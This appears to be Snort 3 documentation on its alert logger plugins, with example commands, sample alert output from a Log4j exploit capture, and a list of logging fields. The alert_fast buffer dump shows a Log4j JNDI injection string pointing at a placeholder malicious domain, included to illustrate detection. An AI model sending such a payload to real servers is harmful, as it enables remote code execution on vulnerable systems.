Alert Logging

When a Snort rule matches some traffic, what's called an "event" is generated, and Snort provides numerous ways to output the details of those events. There are seven alert logger plugins in total, and each one provides a unique way of presenting event information:

$ snort --list-plugins | grep alert_
logger::alert_csv v0 static
logger::alert_fast v0 static
logger::alert_full v0 static
logger::alert_json v0 static
logger::alert_syslog v0 static
logger::alert_talos v0 static
logger::alert_unixsock v0 static

The following sections showcase each of these loggers, detailing what information from the event can be captured and the different ways in which that information can be formatted. These sections will also show a few ways to configure the different plugins, and to see the full configuration options available for each plugin, users can run snort --help-module <plugin_name> at the command line.

alert_json

The alert_json logging plugin outputs event data in JSON format. By default, the following fields are included in the JSON output:

timestamp, pkt_num, proto, pkt_gen, pkt_len, dir, src_ap, dst_ap, rule, action

For example:

$ snort -q -R 3.rules -r log4j-exploit.pcap -A alert_json
{ "timestamp" : "07/16-09:23:39.153899", "pkt_num" : 5, "proto" : "TCP", "pkt_gen" : "stream_tcp", "pkt_len" : 97, "dir" : "C2S", "src_ap" : "192.168.1.2:50284", "dst_ap" : "192.168.2.3:80", "rule" : "1:1000000:0", "action" : "would_drop" }

A lot more information about the event and the alerting rules can be logged by modifying the alert_json.fields field in their Snort configuration. The value of this field is a string containing a list of desired fields, where each field is separated by a space character. For example, to log the rule message and classification in addition to the default fields, one would set their alert_json config object as follows:

$ snort -q -R 3.rules -r log4j-exploit.pcap -A alert_json --lua "alert_json = {fields = 'timestamp pkt_num proto pkt_gen pkt_len dir src_ap dst_ap rule action msg class'}"
{ "timestamp" : "07/16-09:23:39.153899", "pkt_num" : 5, "proto" : "TCP", "pkt_gen" : "stream_tcp", "pkt_len" : 97, "dir" : "C2S", "src_ap" : "192.168.1.2:50284", "dst_ap" : "192.168.2.3:80", "rule" : "1:1000000:0", "action" : "would_drop", "msg" : "SERVER-WEBAPP Apache Log4j arbitrary code execution attempt", "class" : "Attempted User Privilege Gain" }

Note that the JSON key-value pairs will be outputted in the order they appear in one's config, and a list of all possible fields is available at the end of this page in the informational fields section.

As seen above, this alert mode outputs to stdout by default, but this behavior can be changed by setting the file boolean to true, and this will write the JSON logs to a file named alert_json.txt. Furthermore, specifying the -l flag will allow users to write the log files to a particular directory. For example, the following command will have Snort write the JSON event data to alert_json.txt in the "logs" directory:

$ snort -q -R 3.rules -r log4j-exploit.pcap -A alert_json -l logs --lua "alert_json = {file = true}"

alert_csv

The alert_csv logger is nearly identical to alert_json but will output event information in CSV format instead of JSON.

$ snort -q -R 3.rules -r log4j-exploit.pcap -A alert_csv --lua "alert_csv = {fields = 'timestamp pkt_num proto pkt_gen pkt_len dir src_ap dst_ap rule action msg class'}"
07/16-09:23:39.153899, 5, TCP, stream_tcp, 97, C2S, 192.168.1.2:50284, 192.168.2.3:80, 1:1000000:0, would_drop, "SERVER-WEBAPP Apache Log4j arbitrary code execution attempt", Attempted User Privilege Gain

The same fields that can be displayed in the JSON output can also be displayed in CSV format.

alert_fast

The alert_fast logger outputs event information in a "brief text format", but it can be configured to also print packet and buffer dumps as well. Without any configuration, this logger produces a single line detailing when the event occurred, the details of the alerting Snort rule, as well as basic traffic information:

$ snort -q -R 3.rules -r log4j-exploit.pcap -A alert_fast
07/16-09:23:39.153899 [**] [1:1000000:0] "SERVER-WEBAPP Apache Log4j arbitrary code execution attempt" [**] [Classification: Attempted User Privilege Gain] [Priority: 1] [AppID: HTTP] {TCP} 192.168.1.2:50284 -> 192.168.2.3:80

alert_fast can also be configured to print a packet dump as well as the traffic as seen by Snort (commonly referred to as "buffers"):

$ snort --help-module alert_fast

alert_fast


Help: output event with brief text format

Type: logger

Usage: global

Configuration: 

bool alert_fast.file = false: output to alert_fast.txt instead of stdout
bool alert_fast.packet = false: output packet dump with alert
enum alert_fast.buffers = 'none': output IPS buffer dump (evaluated by IPS rule or an inspector) { 'none' | 'rule' | 'inspector' | 'both' }
int alert_fast.buffers_depth = 0: number of IPS buffer bytes to dump per buffer (0 is unlimited) { 0:maxSZ }
int alert_fast.limit = 0: set maximum size in MB before rollover (0 is unlimited) { 0:maxSZ }

For example, to also dump the rule buffers, we could set the alert_fast object like so:

$ snort -q -R 3.rules -r log4j-exploit.pcap -A alert_fast --lua "alert_fast = {packet = true, buffers = rule}"
07/16-09:23:39.153899 [would_drop] [**] [1:1000000:0] "SERVER-WEBAPP Apache Log4j arbitrary code execution attempt" [**] [Classification: Attempted User Privilege Gain] [Priority: 1] {TCP} 192.168.1.2:50284 -> 192.168.2.3:80

http_inspect.http_method[3]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
47 45 54                                          GET
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_version[8]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
48 54 54 50 2F 31 2E 31                           HTTP/1.1 
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_uri[10]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
2F 69 6E 64 65 78 2E 70  68 70                    /index.p hp
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_header[97]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
48 6F 73 74 3A 20 65 78  61 6D 70 6C 65 2E 63 6F  Host: ex ample.co
6D 0D 0A 55 73 65 72 2D  41 67 65 6E 74 3A 20 24  m..User- Agent: $
7B 6A 6E 64 69 3A 6C 64  61 70 3A 2F 2F 62 61 64  {jndi:ld ap://bad
2D 64 6F 6D 61 69 6E 2E  63 6F 6D 7D 0D 0A 41 63  -domain. com}..Ac
63 65 70 74 2D 4C 61 6E  67 75 61 67 65 3A 20 65  cept-Lan guage: e
6E 2D 75 73 0D 0A 41 63  63 65 70 74 3A 20 2A 2F  n-us..Ac cept: */
2A                                                *
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

Note that specifying -A cmg also produces output like this one.

alert_full

The alert_full logging module provides basic event information, but it can also print out header details of each layer.

$ snort -q -R 3.rules -r rce.pcap -A alert_full
[**] [1:1000001:0] "SERVER-OTHER Multiple products remote code execution" [**]
[Classification: Attempted User Privilege Gain] [Priority: 1] 
07/16-09:23:39.153973 192.168.1.2:50284 -> 192.168.2.3:80
TCP TTL:64 TOS:0x0 ID:5 IpLen:20 DgmLen:40
***A**** Seq: 0x81  Ack: 0xA4  Win: 0x2000  TcpLen: 20

alert_syslog

The alert_syslog logger outputs event information to the host's system logger. For example, on Arch Linux hosts using systemd, Snort events can be seen in the "journal" and will look very similar to the alert_fast output:

$ snort -q -R 3.rules -r log4j-exploit.pcap -A alert_syslog

$ journalctl | grep -i "snort\["
[...]
Jul 16 11:28:05 archlinux snort[150566]: [1:1000000:0] "SERVER-WEBAPP Apache Log4j arbitrary code execution attempt" [Classification: Attempted User Privilege Gain] [Priority: 1] {TCP} 192.168.1.2:50284 -> 192.168.2.3:80

alert_talos

alert_talos is a special kind of logger that outputs events in the format that many Talos analysts use when creating Snort detection. This format is relatively simple and shows two main things, the pcaps tested and any rules that fire on those pcaps. For example:

$ snort -q -R 3.rules -r log4j-exploit.pcap -A alert_talos

##### log4j-exploit.pcap #####
	[1:1000000:0] SERVER-WEBAPP Apache Log4j arbitrary code execution attempt (alerts: 1)
#####

alert_unixsock

The alert_unixsock logger sets up and uses a Unix domain socket for sending event data and logging information.

This plugin expects a Unix socket file named "snort_alert" that will be used for communication between the server and clients.

Informational fields

  • action -> the action taken (e.g., allowed, blocked, etc.)
  • class -> the classification type of the event
  • b64_data -> the packet data of the event encoded in base64
  • client_bytes -> number of bytes sent by the client
  • client_pkts -> number of packets sent by the client
  • dir -> direction of the traffic (e.g., "S2C" for server-to-client, "C2S" for client-to-server)
  • dst_addr -> destination IP address
  • dst_ap -> destination IP address and port (e.g., "192.168.213.149:45676")
  • dst_port -> destination TCP or UDP port
  • eth_dst -> destination ethernet address
  • eth_len -> length of an ethernet packet
  • eth_src -> source ethernet address
  • eth_type -> type of ethernet packet
  • flowstart_time -> epoch, in seconds, of when the flow began
  • geneve_vni -> Geneve Virtual Network Identifier value
  • gid -> generator id of the rule that generated the event
  • icmp_code -> ICMP message code
  • icmp_id -> ICMP identifier number
  • icmp_seq -> ICMP sequence number
  • icmp_type -> ICMP message type
  • iface -> where the traffic was received by the DAQ
  • ip_id -> IP header identification value
  • ip_len -> IP header Length value
  • msg -> message of the rule that generated the event
  • mpls -> MPLS label
  • pkt_gen -> Snort inspector the traffic was passed to
  • pkt_len -> length of the event-generating packet
  • pkt_num -> where the packet sits in the flow
  • priority -> priority associated with the Snort rule
  • proto -> protocol detected (e.g., "TCP", "UDP")
  • rev -> revision number of the rule that generated the event
  • rule -> rule's full identifier in <gid>:<sid>:<rev> format
  • seconds -> timestamp in seconds of the packet that generated an event
  • server_bytes -> number of bytes sent by the server
  • server_pkts -> number of packets sent by the server
  • service -> service detected in the traffic that generated the event (if one was detected)
  • sgt -> the Security Group Tag
  • sid -> snort id of the rule that generated the event
  • src_addr -> source IP address
  • src_ap -> source IP address and port
  • src_port -> source TCP or UDP port
  • target -> target IP address
  • tcp_ack -> acknowledgment value from the TCP header
  • tcp_flags -> the TCP flags in a "stringified" form
  • tcp_len -> length of the packet if TCP
  • tcp_seq -> sequence value from the TCP header
  • tcp_win -> window value from the TCP header
  • timestamp -> timestamp formatted as "MM/DD-HH:MM:SS.######" of the packet that generated an event
  • tos -> TOS value from the IP header
  • ttl -> TTL value from the IP header
  • udp_len -> length of the packet if UDP
  • vlan -> VLAN flow id